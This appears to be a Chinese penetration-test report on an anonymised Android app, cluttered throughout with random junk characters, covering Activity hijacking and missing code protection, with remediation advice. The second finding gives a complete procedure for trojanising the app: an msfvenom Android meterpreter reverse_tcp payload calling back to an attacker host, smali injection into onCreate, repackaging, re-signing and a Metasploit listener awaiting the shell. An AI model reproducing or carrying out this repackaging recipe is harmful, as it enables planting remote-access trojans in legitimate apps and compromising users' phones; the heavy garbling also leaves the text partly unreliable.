+ ^ e& q0 M1 ` ~' w8 V5 U/ x: I9 E; K! n4 v+ I
2 O8 J! [: L8 l6 ]7 B( U- h* m4 I0 s7 _% K3 U& \1 [3 x& s' p
% }$ K; Z, P* J( f! Q
3 o" k! b+ v" g9 ?/ O % c) `" t+ X! x L
' k6 e) L# W9 p, y# v4 Y5 n+ G 表1-2 测试结果 + d9 r2 c) F) J# A
: [8 n- E6 i6 Q% b
s8 `# ] e6 ~* \# V H+ ^# _$ ]: [
1 B T' _; U' \1 d $ V; _5 G, ] M+ q/ d- a
7 u6 A+ h9 O1 b2 Y( E j( X% o) P
; P6 _4 J4 R; o1 g
( G. |& M* l% ]5 }
9 ~' k( X1 z, ]: H% H2 `
n9 k1 I1 w( t& m% V C
/ V0 V# [1 o0 |, Y8 N# P5 F8 B" ^2 U" q4 V) A Q
2 检测结果 # X2 i% K1 ^0 t9 o" Y' y4 R, Y
6 N* Y! A( _8 T$ Y4 o ^
. U" _- J, H; u E6 \! M b6 J
4 q; u+ H6 G$ Z/ t * D6 h& z0 E1 U' {
/ {0 H2 h5 m. M0 d v: I Y
2.1 某某某
/ [7 q+ o% o( m( h9 `. R Z3 |$ t, x, C& Z3 D/ p8 b
* F- c, e- o& ?. _. [1 y& E
1 d. z- H( v1 Z( ^: f 6 b" e. j7 D5 r
$ l& {& u% q; S/ @: l 2.1.1检测目标
1 I& N+ q( ~1 E1 @) V/ R- N4 x4 J5 M6 \7 H, z' a, g# U
) f2 a9 a, c3 L5 M) ?! f
/ ?- X7 G7 F" I" w3 D \% s% V
1 M6 Y4 R) Q+ e+ x" S# w8 u! q3 t( l4 e$ f0 A: \
目标地址: 某某某某某某APP 0 y k3 T' C4 h
+ O. ]/ N0 Y+ i1 u3 ` $ I+ a* h4 p# Z- X! T% f
* w" @. T) Q; _3 ]# f, C
, c; S q0 |+ N/ _
+ N5 E6 x! b+ f9 [, W5 T% {8 w- U 2.1.2检测结果
9 ?, j* K4 Z9 L& L& @+ {( | Y1 o! d+ x1 t) T3 ?1 L: i" \
7 L: z& }5 z5 P1 H% ^
8 r' e6 g, E0 B9 x0 ]
, d/ I: d$ C# r0 D
6 h4 O* ~7 _& e. I; ]! |( S 2.1.2.1
$ k$ [, f1 Y7 t @
0 v5 r3 f) |+ g: E4 Y4 j$ q
C8 w- C: `9 u& S9 H' J8 f7 P/ a. |3 m4 g3 j
; ^* H1 s1 c( k
4 A0 f. v2 B3 l! U) j+ p$ c 漏洞链接地址:某某某某某某APP 9 x" Q- }9 S; Z) x$ e A
1 k1 K. z: {$ `% a: ^
2 d5 Z$ a* O- i, q& w7 u: u% B) q9 X. k) e& t
/ c6 H; s; S2 n V
+ M# f1 @2 V _5 f4 \ 3 }& p5 ?) t1 a2 f# G
1 T2 n' {$ T1 Q) v# l
) m6 @- C2 c* y& |/ S) e4 @% D
7 X; l. H2 y9 c, r ; e! v. K& n U/ w1 t
. a: V8 I2 M0 H3 M& S- e$ F/ n
漏洞分析及取证: " b3 Y4 P! B, A& O T3 _& v
+ F/ @" d; z) b/ S* M3 X" V( x
* j" ~ n$ }* V y* t: Y1 l w: {# q( v; ?4 Z$ A9 u3 O% l
' G y9 ?/ ]4 x* ~
+ p3 @: K& o. A( G( }* c, V 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
5 j( z; ^/ ~% G7 S, q$ H$ ~3 [9 T+ j) c, N6 {( i$ p
. y7 H. J. J; F! l9 B2 I9 G
) |, w8 _6 k+ u! ?3 k: v9 P
& x" L; n) b9 u* A& Y( G% q0 w1 Y& w& u% K, G* H
. Q) U# @3 ~9 C/ a5 @' w. D: [, n
+ j. `* u* J+ z8 `
# m O! x% l" n' \
7 z5 F: {1 K; t" r1 N
! a; b+ a) \; H" F6 I) o# _
& h' q2 @/ I2 y1 j+ M
- b9 N. B6 ~6 K5 u9 s. |! I7 Y4 Z. r! o& O
" Q+ T2 M2 e: v4 Z$ f: F6 ]
* E. Q% Q- L" N7 }- `+ t5 Q
, O) ?1 t4 C" o
9 z& k3 j. w; r+ D$ r
9 s9 p7 ?6 u6 T" P" N" s9 p
3 f: ^* O0 [$ [6 F7 z8 i
; t3 t7 f9 F* U! w
( }4 R7 _: X; E* F0 V7 R# m
; V- U$ H( T9 ~/ U5 o0 h" d& L
; W- U0 |1 B9 S
7 _) B: Q1 h" y% Q+ z2 I% }% W; k! O9 {4 ]
1 N( N' M+ I. a" l* @& Z( m+ N P( s
9 e+ E' ?9 u- l
/ [* z8 I2 C+ Q) y9 S+ ^
G }2 I7 D& V1 L9 k- a8 ?
4 W( |$ e! X" ~7 P3 O
7 C% P7 N% I/ A0 E( Q1 l) m3 ^: a
1 \ u& w, k" r" D9 \( c D# \
( e$ O2 ^, e' m2 ?% Z( r 漏洞危害:高 % y: u. V: h0 ?9 }, F
% j: x2 g- B9 M* | h
# ]; l/ L8 _# c: K, ?& g
9 l5 p/ M4 R6 o7 d ! h9 t4 Y& a7 @! p% A+ `5 K0 ~& @
: f' r ^6 g- T- m " k6 l& u3 I1 M+ W- n6 i; U
$ q7 ]( j1 j# k& m
; q& a( i& F, Z4 y6 ^: y! A4 i$ }- R' L
: [3 O: }+ }' h4 Y' Y
$ D; `; p/ t3 p3 a6 q1 J8 ` , ~, ^% k2 E8 {/ \/ @
$ u3 v" @0 n9 H# s 8 v. m- H6 g: i' A* i# s' y% Y
3 t( c, z( ^; {; t) _% O9 h
严重程度 " m; j. ]" q$ b/ W2 \0 ]2 v1 e+ q
, A/ L' ]/ {$ ` S% T# I
' V- a8 _& Q' e$ _2 W' z1 n- J/ A$ k8 |4 }1 p
|
; g( O3 }. J9 v: {+ U8 X& M- i' _( [. t4 a9 ^0 F
6 c) Y3 V4 E5 j2 j q. }% K
0 u/ x$ t7 J; D, V! P$ J8 w; z
, p) S) `+ n* ~4 ]" e" Z3 r$ |6 n' I9 K) Y) @6 ]
高
( M+ h# [3 n0 N a- g8 }5 T3 R0 X: [" k
1 a/ m, d- e1 q$ t% T
: j% \+ J9 S. Q7 z | ( n8 N0 O/ p8 N, l, R4 ^0 V) h9 E
1 E- m$ w7 t u; R! m9 ]
" S7 M, W# p8 o
5 q q5 n. h+ z) `4 C$ y" `, K
5 A1 J& K P" E. _6 }- f( a$ ?' L! m t/ d+ ~
■ 7 Y7 V+ V3 b- t% E, ~
6 K! Z f$ p+ {) k3 W - P* a$ s3 x* j+ H* ?8 @% s
' D# ~, m+ t; k% p! R; S% O9 k4 G8 C |
) c+ w4 M+ x- t" f( ]( K; C! ?5 X( m4 Y+ T \
: k% m Y& _- F7 a- G
0 f0 m' v" Q; B. s & A- l# `* q% D7 Z
* i) a9 D: I. o; O/ p5 {. h: g; e
中 / O( [) @9 N; s- W* a0 _
( o/ j, [" H0 x1 C
/ b$ M2 G, h# j5 W e+ T
i' Z5 `% u6 K2 S
|
. r2 f7 N6 @2 y! f2 M! ? ~2 E$ X% j' W+ B( I; U! m# W1 n
0 }# L$ @# ]9 v- u+ X
* c% z% c7 t$ M) ]; Y3 {
. n5 }9 Y0 M5 L* ? o* N+ {, G
# q( g$ a3 N9 t- j ' Y; c0 T) [' P
3 n: i) L }$ `( O6 Z. S* M
* `! |0 I$ A% J( [7 c' }" M/ I6 H% n: p
|
; i" ^. {0 j. n& n* v0 J
( z, J5 k$ H- A) O
3 Y, y8 r( ?4 K) T5 l4 n; K4 M: Y! E% X; g
$ z- o1 ~, u; O% R% Y, {3 q& m4 |
}0 ]8 t7 | a6 r2 f9 R
低 ' Y# X# o( e- s5 P$ ?( _0 C
9 t( I8 Z$ \2 }2 | ' _ g. V" k1 @; @
! J6 u/ K4 v `% w. H |
$ H% z4 b+ L, L5 a: d4 s; G1 b f2 |3 h' @! j4 f& {
) q2 M* d4 a- z/ N- C) A
; c% [! R% l `& r
4 Y/ U- G% t6 ?$ S, H, C2 H
( Q; x/ I+ I0 c' _
8 |5 {" J: J e7 S2 R" Y
/ V9 A) Q8 i, n- ?, p
3 [6 `4 E8 a) Z# V& ]+ J5 w+ T" g: W' x% C6 M- v4 e0 O
| & ~; v. @+ f, g4 f! T. L* a
: J) z( M) @; F4 L( Y ( o- Y4 r) e# n! N
$ c% J. ?" `( A $ @ d, i4 \ M9 W3 I
$ L$ W5 U: l H, n, |
$ }$ m/ ?) p+ Y1 ?' ~! V5 h L" J/ f% T9 u1 }3 c
: l) m9 ]% p0 O/ \
) a7 Y" l3 o& C: M! U H # g: [8 R* r1 K
4 {9 ~/ y5 u% L" m2 n8 X
9 D9 q; q% l% s% u' A' E6 H+ N H. e( W
8 q0 Q$ {/ g( @$ Q+ l6 w# Q3 q* D5 \% O
3 K& c" I7 s2 X: q \
8 T0 Y! I: E. ~- d; f 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
9 N. S& Y( n1 [+ `' [; x
2 H6 v; x2 T" b0 J" J" m2 K
! R3 n2 Q4 I! x3 w) p6 z: N% k5 Q, ?+ d. R+ d& t7 v- N: U
. K; U% x8 C( F
& h9 @; U. G$ [0 O* x3 a
9 R2 o: P y/ X3 | g# _7 P( L2 t+ O6 z% z5 S
. V) v2 w X9 r: D# Y2 A9 t% u* G2 G9 Q6 `0 F
+ j9 O9 [. F* O9 {
z8 g |; b5 _) O
; d' u! v- N0 l
& y- ]" v- Y: T4 e) \8 v, C( J# W
; ^" ^+ u& m( B- u3 {
3 ?: ?2 k- { n& J $ |7 i" p- e2 D% v" V8 M
# O. R8 S/ g) M
2.1.2.2 : E5 |4 O% i. D. l! C! V
# I+ \& k8 i4 m
. [% H1 x+ G( _# Q2 b; ?5 o2 w9 B- q8 B3 ?4 Z, V. M
7 D; U' H" Q7 e* Q$ o+ G
2 k' x. c5 G% l: Y 漏洞链接地址:某某某某某某APP
1 n) w6 j* U6 l: b; W, @/ X. S3 K+ h3 `/ V3 Q
" S5 P9 L9 _; W4 F
9 v4 Y* P1 ?% R- T+ A$ u
4 m, s. Y! C6 Q5 z0 X, |
7 V/ A8 `7 o& S, y7 m# J- a
漏洞分析及取证:
+ X t! w( L/ x$ N4 x9 K
" V b$ x# M+ C2 }1 }* v, } 9 R4 J# R! N: |+ s% {
, C$ T% |) d4 n' P7 m5 E, g
5 v* u( Y; f7 J0 D1 f4 ^1 u: @; |$ P( Q$ K
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
0 [: A" S% m9 L& B4 Y; G4 U: ^" Z/ B4 E! v( j7 h
' \. `' H2 F; |* t+ e2 a6 P- U& T" r* L
6 e$ m. c3 G" y# L/ l( x
' R7 G( ^/ w6 H$ p* _+ t- v 用Metasploit 生成木马 apk ; w! i8 y; j& n! N0 [1 A6 O! a
1 n$ }; {2 }3 P* L+ U
. t; J" N: p w& o2 V3 o4 Q8 R) G/ z( T4 u/ {6 R6 }
, U0 w" [" Z- R) u' a; L8 B/ K/ @- e4 ~
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
" j6 Q" q% n; C$ e$ T, c9 N, U( w( M% v
- x. [3 `2 Y( g+ z
) u2 s( u9 c4 o8 @3 ~4 C
6 s% J2 F) \6 |
$ |0 l1 a3 `# T9 B0 H 反编译目标apk和木马apk
/ f: Y2 m% L. T6 A" ~8 R) m
) H# e" Z X6 Y$ n4 G2 W" b
+ f. L' m7 N8 w6 ~& k& C' s3 A+ k, G; }# c; e4 B( m( @* ~
; `) O+ D9 [1 A0 R( e6 e+ r' H/ x; o( A" o
apktool d target.apk , w7 I6 i4 F' v/ d9 w
( W. u7 ~9 ?( W, u! }: p1 m s
apktool d cockhorse.apk , p7 l# R+ p; ^& @
" V8 M8 _ r/ Y7 a, {5 y + T; d1 P4 s6 W( ]* d
1 j( U6 N* A, B/ x( o/ }/ w
. ^2 B& H5 l) v
- s* {3 f* M" W/ D" `% G: i7 O 木马 apk 注入目标 apk
# t9 t; D/ ?* N" R2 Y6 n
/ ~+ e1 o/ h8 W+ ~ 2 \* N- p2 v7 L) j7 Y# @% j
6 \) w1 u; C( f6 L8 s
4 T& o2 k" ]/ \ u# ^3 C; \& {
- b- J! Y: o* V2 p 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
/ j$ f3 H6 T! B4 u
8 S* }, H2 m2 w/ D5 Q, b4 b, M8 { invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 ^6 w% `; A8 J1 J3 g( U+ T2 Q
! M5 \$ X# E. J1 y+ Y8 q" V
1 x: x* {, [2 X4 J( X2 f1 K# \
1 g+ H* N) p$ v' K/ A
) ~& f9 o; g# M3 j: o
$ V3 ?( E, e- f 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
* M6 t/ S8 n- i4 T* R! K( P: Z0 E! ~7 @; g
; G0 N3 I1 n. n+ U; c/ \) h. N
1 M1 e8 G! w& i+ i
5 U+ @& ~) U, g/ C7 H1 {9 L8 t9 Y* T: p/ ?" y [
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
$ d0 k* l- w" a6 F9 n! O8 E" s/ s; W" g, W# ^# F
6 d6 x2 m* H( e! A! n# B, _
6 x' b$ p: U& H4 H$ ` 7 J1 g. j- F8 p9 t2 N, d& m
7 _( Q1 W; ?2 w1 X 回编译生成最终 apk 5 ^* I# C' [' A+ y' \0 `( H2 ~. x
+ X2 H3 D$ R+ }1 J' s6 q
4 T2 c- Y2 r& x' Y, c6 m& V0 N; V2 d, ~2 s# X* K, S
4 n3 o# P m* C, U4 K
. W% |, M& z9 f+ h5 a4 Y# l 重新打包
( F- A$ @4 {( G% s
1 T7 T% u$ j) W' q9 v& D2 F
4 ?: P7 \ e* G0 i4 D, F( \" T% z: w, k& t& _
8 H- L5 O) A% W. p' O3 b6 R+ }- O) l
# c9 Y) B" r) I apktool b -o repackage.apk target_app_floder # u; c# F- q/ K: U
" s/ D& f- k' S
9 d! K+ C9 V4 J0 ?: G K _( S$ u$ G- ]5 s: X/ b0 t
+ W% q3 z! D2 M; z' _: F: Y, c' \7 |+ i5 W! T! Y; B" i
创建签名文件,有的话可忽略此步骤 . g1 j# O6 x4 Q0 p! T1 {
9 z2 R9 C4 O7 y4 h7 j- ~
v \6 z' D5 U
" H1 {7 }: W8 K6 ?& k# i 8 J) y$ j& b5 n& c9 Q0 L
) I+ N3 m8 B5 y5 M, `$ S keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 " ~( ~* u1 E5 [. X* a! D5 ~, @1 l4 ^) v
$ o0 E' u1 K [; M5 c0 m+ J
. v5 l3 i- r% T2 J {$ S3 E4 K
6 ]+ q* W9 A! e( N) q/ G6 h
# q. E5 V2 z: a! n2 \, P* S0 R$ `! G( F) J
签名,以下任选其一 3 ~1 Z; d6 H z: |- b# p2 X- ]
, w; g* B9 H3 Q7 W
, z, B/ Z) l' C) i# U: n7 m
6 f' X8 F/ ]; q/ V 4 I4 x v, n; }/ k
1 u% V6 f9 E$ m7 ^+ O( T
jarsigner 方式
" L2 r4 `. a( ?; g+ ~7 [0 _& n* N4 r U* F1 d$ T2 v
& K7 p6 T- S5 V* E* I5 T1 P
0 b) H& K# M1 Y; h! x; k
8 N! c$ N6 \6 B
8 N6 P6 `1 J& g& Z% m9 f1 D jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + ^' t* `- F9 v. _: D
2 [1 h2 z2 ~3 j % P9 ^9 f9 S& q ]8 R6 E S9 p
4 B3 g% l+ |* A$ ^' m# t" L4 q , r& H, j, O( E2 Y8 s8 ~
6 C: M, H( `# @. J( t
apksigner 方式
! l8 W+ c4 T9 _5 D
9 ^) h7 V' s/ \. A; ?" H2 i8 _6 [ 3 U( F. Q& \ D, c3 {
?% f7 X6 J' ^9 N : h# c" W, z1 J8 j
7 W& Z) k Z$ U6 q! o
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
' w* w0 D; [- }3 A( t( m) B% |8 j. p) F( `
: }) D p7 X5 ^3 q
& j, m' q1 Z7 q! ? " F' ~7 h8 z- I9 g/ \; T
& [( s6 W8 R" ~6 O- H 如需要禁用 v2签名 添加选项--v2-signing-enabled false 8 }/ n6 P2 A3 _; e
! }1 A4 U4 E, Q4 X% D* h8 F
7 I5 k; A, k8 {2 F. }4 i$ h4 z; n: }
& ~* @0 m) V- ^% f ; `( y2 `! B" o5 j' ?+ T
% {$ }) Y h/ s% h0 u' ` 验证,以下任选其一
6 A# n4 q: ?: {* p* d8 j1 X3 k6 s& D7 F+ `# k B( E$ h7 e
) I5 [/ y2 H& S1 O% K8 C! V) a# s$ }/ W6 i$ Z- j% W
6 a! r( @" N7 n7 j6 Y8 c. S) W8 `1 w/ N+ J
jarsigner方式
2 _8 e+ c/ A: G: N* x; Q" k6 M4 j. c. g# |, `$ Q
5 a7 E5 H5 L; ~& \% Q/ G+ l/ H1 e( @. p* f; o
0 U9 j6 T3 o2 [8 r% g" {
* n, U [; V. G9 m0 g/ e( E$ m- |4 ` jarsigner -verify repackaged.apk : k% R! y m- P# Z
$ z& u. N- ]" I, I$ ]1 o 9 `5 ~4 \- e1 T& n" }) Y/ k. H0 H
' h/ H; v4 x. o4 u/ ?
Y8 d: _2 T2 d2 K$ `# Q2 s- c: X5 ]7 R
apksigner 方式 8 P8 S n, F/ o7 G6 n5 s% ]
/ b) d( p9 ]; p& Y6 G
2 T: [) [; q# B% E6 F
+ W' J- ~# |9 q
: N9 T5 L! p0 b {* H9 c9 M" V" i4 U+ B# N( o* N V. O6 D
apksigner verify -v --print-certs repackaged.apk
! F( j2 \0 ~: e- B* T P& Y- x, v$ v, M0 b5 D9 K" u
* \9 e' U9 G% f
$ h1 \( c! X- f( s+ M! z5 C
/ Y) y( {6 e+ n
9 Y4 Y x7 z; X; C( O keytool方式
7 x2 K# x% [. m& d
3 o1 B" o7 s, a
; b3 v3 Q; q6 e" ~7 F) a$ _) W) {9 x- V7 Q4 [: u
5 P0 U8 c+ U1 \& l) |
1 f. e% _; p# \6 y* W6 ~* s& W) t! Q keytool -printcert -jarfile repackaged.apk 0 Y( K: t6 i7 E4 z( F
( C' D8 N) O) L: R5 `
. j/ o: D, u0 l: s' T A/ D; N7 o% ~( v1 F* v7 r8 m. ]. b
7 J- j" f2 z# h E2 u' ]2 f8 `# V/ G: x! R @8 t4 S1 ~
对齐 ( ^" w8 l0 [& j! R/ b. z
( R0 v0 a& y! o8 l3 g. m; h
# o% R) R# B! ^/ J- H8 Z1 x8 B" b* b* J/ @- M* M
; m( i, Y9 l" q5 H9 Z. v7 D$ N d' u, r3 z
字节对齐优化
! k: [3 W6 H9 J3 ]- S2 U: t- l, p. j0 R- a
9 y. _+ G2 `; J1 c: x
4 }# m3 t6 v( ~1 @
, U8 k8 ~1 z* O( k" B
; w; F- j- J% [9 h# G8 A zipalign -v 4 repackaged.apk final.apk
* `$ D* |# U& g' E& W$ g m3 ~: s# a2 b
+ u9 ?" ]1 u, s4 K B; V
L: S, I+ R' x5 G+ T7 F, E! n A
5 h& D5 L+ i; X& _% P& `' R/ J% e/ t: ?4 P$ c
检查是否对齐 3 Q. a; m5 @: G4 l, E z
+ `7 d: ~, [9 `7 A/ m1 I
, E9 |; I6 K# _2 ` V/ H1 X/ h+ H
9 u. d0 D% V7 z# q1 C) T B; f% ~
: P) A l# e5 c. X" [; x( e! n% A+ |$ b* W& U3 r ?
zipalign -c -v 4 final.apk 7 U' a& s$ |9 Z7 ] f
3 O9 {% m3 B$ c, U% Z2 H
% l. i. n! p+ c& Y
, j$ { n& Z0 n3 Y, }
* l3 ~7 J7 [3 g8 e0 F$ I B6 }- E
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
/ n( _& s9 ]# M# z9 |: W+ i/ d; v8 n( S
8 J, |# o) `' o, d, Y3 K7 C( M" U- w# s- f! K
3 Q" L1 N( ]/ i2 c2 D# `# r( h
1 n; V% y* B1 [- c z" k+ y 启动Metasploit控制台,配置参数等待上线
5 a; S( e' A& D1 G
3 v& g- _& X9 U4 z s
. o8 a6 `( b% M& b2 f* t+ r5 G s4 o( l6 B0 w
r' t% ]# N. V. y% n! d5 k, u3 z! {0 X) P
在终端依次输入如下命令 w2 G5 K; z6 j4 W
/ y$ N* c6 f' L% l
# ?6 W8 |% J3 N: J3 ?8 f6 P4 w/ R: }. X7 k7 x, a
5 e& z% K8 K; t8 ^& _
6 H- k2 k. \3 b8 C( N: S0 J# Q& L% ]/ `- X msfconsole 7 a a+ T6 z: T, J( Q5 ~
5 E$ S. M( ~; L; b: Y/ \" @$ a$ ]
3 h8 Y: b# B) |6 V9 i; ^- I- R, d
) Q4 n" J+ `; M7 c/ G" a! z9 w3 u2 ` # D* g5 U3 x- F: g1 |2 P1 \
8 j+ g+ e% [3 s' ^: e H# s' {
use exploit/multi/handler / Y3 U$ F& q" [* l
; L- ]/ G" U, i1 I
& e) F6 }1 |0 Y- s1 }/ d- x7 b7 o. s4 h& B% R6 m* u/ N% X5 D/ [. _
, Z8 k- U' \9 w, j+ e4 {. e8 t' b! m @5 n* \9 V' g1 t5 {4 \; T
set PAYLOAD android/meterpreter/reverse_tcp 8 D: J, J& C0 _; P
8 b7 b7 Q3 ]' b! @
. c7 D- \" l9 }0 r
3 @( `: M" Y( { ; G; q' p3 \7 t5 g2 f6 g+ o" c9 N
' B6 V( R6 d( o
set LHOST 192.xxx.xx.xx # e& \7 x3 e. n1 b, g5 T
0 {5 D' x& n1 W
7 ?( o3 j% ] o3 G6 Q) w0 I
/ D, x) M; ]6 @1 ~
/ |2 A7 g& b) N8 p' I/ W6 ^! @
/ n2 l# L4 a! ` set LPORT 4444 . {/ o* D' s/ a& y- u
, K( D, S5 \3 {1 N/ m! A& d5 ~
5 A2 s9 y, `* V9 l8 K' m, X8 V
0 y n9 n& |, u4 @; ] % {$ H8 y3 R5 ?$ }9 Q$ ~
) y3 U5 ]5 N; {& Y; K exploit p; \( _9 y% Q9 R. A# C( X( h, {
$ g+ G# _) z; I! E0 i1 I
- [) F7 o6 e$ A" u0 X8 P* N: c' S; M8 S- M3 B2 W
$ a6 W# d0 w$ Z# \# n, M# q
& r+ e1 W3 }7 t' E
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
1 L" @6 ^1 L. d" i' A8 P
" H* F8 E0 M. ~5 x( j; C6 r & u* F4 W# z+ P" j2 z) L7 E1 n/ ]9 Q% ^5 t
* {* w% v s4 R# B2 n 8 E+ @' X7 i3 s. L- B
, r, m/ p7 P- E4 S; A- }; y% g
漏洞危害:中
, Q1 f2 R3 o2 W" u9 _7 H {7 Z2 |+ J# U# [
- h9 X2 [( \0 {" G3 S M5 j1 ^
% [9 x& E5 T6 `4 G1 }' S$ U2 b
2 h% o6 Z- B% j1 J9 k/ T& `
1 h1 B- M7 J/ w+ x3 I d/ i
" N0 G' d0 u+ m* |/ U+ q2 N" U* d8 u" @$ @# x
( A( {; S9 |8 e
, i. P8 l: T& Y# u; k1 n- o3 S
4 H; C+ G3 J) B3 Q3 P4 x. z2 P" ?$ k% H2 X% s, H, J, W' u
. J `3 P" Q" K
/ v& U5 h M+ A + n4 \: p6 | V2 Q8 P
* U9 h$ X5 @7 ?, @( J7 Q0 ` ' c) e% A9 E1 B; e5 ]/ c% y( T9 @
" b# _9 q- U/ n/ M6 ]: l0 q- ^: u# k
严重程度
+ t1 b9 K0 h! [1 W5 W! J: q9 k
& T2 y' A/ u2 ~7 D8 t$ T$ O& j
/ ?8 \ k: H- r+ l- e* U ]1 V9 _) H' n7 M; Q T2 P
| 2 o; f0 g5 u0 Z! Y" f
( S, b2 o7 P$ S. t & |" G! C) e) e9 k- L! b
1 |6 J$ j5 {, a+ L$ q3 k( ~ + }( T' ~ D8 h. [5 N% ?
) e* I4 R# x, f2 h 高 2 M" H _: Q7 Y) m P
) H+ p' Y0 u/ D: x$ e
9 @. T4 ~# I3 w, U
5 [% t, X) }/ x | 7 j. U/ h% k7 U& A; j Z
$ ?+ Y7 }, Y# N
2 B& n O6 _, ^4 {& p
( l& ^. O) i/ y( k" }. y3 C. k' U- t
( i2 c0 [4 r/ U& r
% i5 Z$ X8 V. t! u" { ■
) G6 f6 U7 R$ p" _/ T F; O& U) `1 @3 R! ]
: [, W7 `0 o2 ?, }- d, f2 D# o2 i8 s0 ]: p
| 2 C- G9 E3 s5 a
! i2 _' {- [: |7 h2 P
- u/ V4 I6 I$ c# U$ I5 k7 F# m5 h; H2 @" p+ l) }8 t' P# s" E
3 [' e" p; t3 y: h
! l% {( a w- ?8 | 中 ( I7 i. S# S/ y" C
8 e- L! S3 \, O) q: N( a7 k % S- D2 D' N$ J, j
, S* i" y2 E4 ~3 `# w } |
$ N5 R( B( P) ?1 o/ x3 t4 a' c) L' a' i* Q, O, ]- h4 z
1 l; B6 M" J$ [$ r. l A
( a8 u# y: G# p6 n5 n1 p; A: ]
" J$ P, h4 k3 n, P, r T- x! y* C+ ]. S. {( n
" b3 |: h3 T, S3 }3 ~
Y+ B. X* Z; ?0 E ' j) O# s1 Z/ b8 k
4 T$ a& E- \- Q1 Z + ~( I& [% I" g6 J
2 V' b; }5 Y! t+ X9 ? |
) m* m8 [3 C& g5 ~$ N0 H# g( s' q4 N
& J; V6 d* e' y; u9 h2 u8 G) J! c
+ w! ]7 z# r& R# T1 ], G5 R+ Q. t
4 P5 E6 d4 e6 B) a
' z; k4 J1 L6 R 低
* G! U* p7 e8 u; h! l f" C2 S) T7 O$ h; l
7 h' U1 b% x% I: [. O$ c4 t1 j* l# k# N' _; m, s6 E* ?# S
|
$ E# @# M2 v" r0 S( ]3 P; A9 m6 M' r; r* u" }6 \9 Y7 \
/ c5 n9 X" z( U! l5 I0 G1 |
3 x6 F8 u+ J, d" t ) b: ^8 O5 W: l( \
+ Z# l0 P: V9 D' E8 @4 @* h e$ D / A) y8 h3 c' N) s; l, c
5 k2 H9 a( W' N: a: _; { 5 F5 \6 l" M$ r# I
6 \6 U; C5 d+ B4 }0 M2 P
, H3 \7 U- \$ _7 c* ^
- j' m9 m4 Y$ L% }
|
$ q, R3 G: R7 b3 }! _5 E- {4 B. `% ~3 G: ?' A& i
& u* Y0 f- f* z1 }
5 y! _/ R E' l3 H / W+ i/ N. ^+ w8 K
% x* v9 D* z" I+ G4 B
- L! q! m% @7 F! a
6 ~, t& G* C% A$ U
2 n' Y" ]2 t/ m7 c
4 d/ \* ?/ Q/ ]: l
" ^, }3 s# B# G" S( k+ _# i: a1 N6 [
- l! n4 i2 A" q0 X6 z
( G7 a# x9 l0 N# f+ z2 ^& ^5 V) s8 @
N9 z; }0 v9 a$ `
/ y8 c/ s: D# e ^7 T $ M" K. s d' h* i' _8 j0 f3 X
! |: n; Y& W2 k
修复方法:
, P1 A3 c# L7 ]6 B9 p% g
* p2 U6 I8 U+ g3 k: O
& _ v C' U9 I
4 `" k- t0 J9 O& A5 p * i) B, [" b0 V! p! p8 F3 @
* f: B3 k9 X* |) j 1.在 APP 启动时应做签名校验防止二次打包。
" K% _# d) q# ~. u% ~
/ x/ H6 `3 B9 n( L: J% j1 L6 v 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
9 w, x4 Z% S3 v q1 D0 o9 ]
& w& A: [8 l" j+ F . ^5 B7 O; J0 D! V) E, e# l
0 `# S, G, c0 a: M) L # m+ @! I) S* X6 g
- i: Q, P7 N' Z* L( |$ D5 Y% N* Y: t
& Z5 p. w/ m; @. b! V4 ?% w- s( B" [* J' M. }' \1 A9 c: H
6 n* E) C! @$ f1 ]: D
- {. G- F$ p0 ^% N! Z+ F1 [* L, m! [
, Q* A4 e) v& G4 g6 h( x. \, o5 D6 Y0 ?4 ^6 T" k
1 B0 J; X1 X2 G4 O# I! \1 ~; i. `( O+ f# s# X4 \5 F
: O- y6 a+ I8 G) M. ~# m; t$ x" U7 d+ R: m
5 d V0 D7 W7 ?% K$ C6 R
2 K, K2 D0 M# O+ l
% P" G, }6 f4 l4 t8 s# r- n6 [/ Y1 [5 ~2 E" ~2 `
|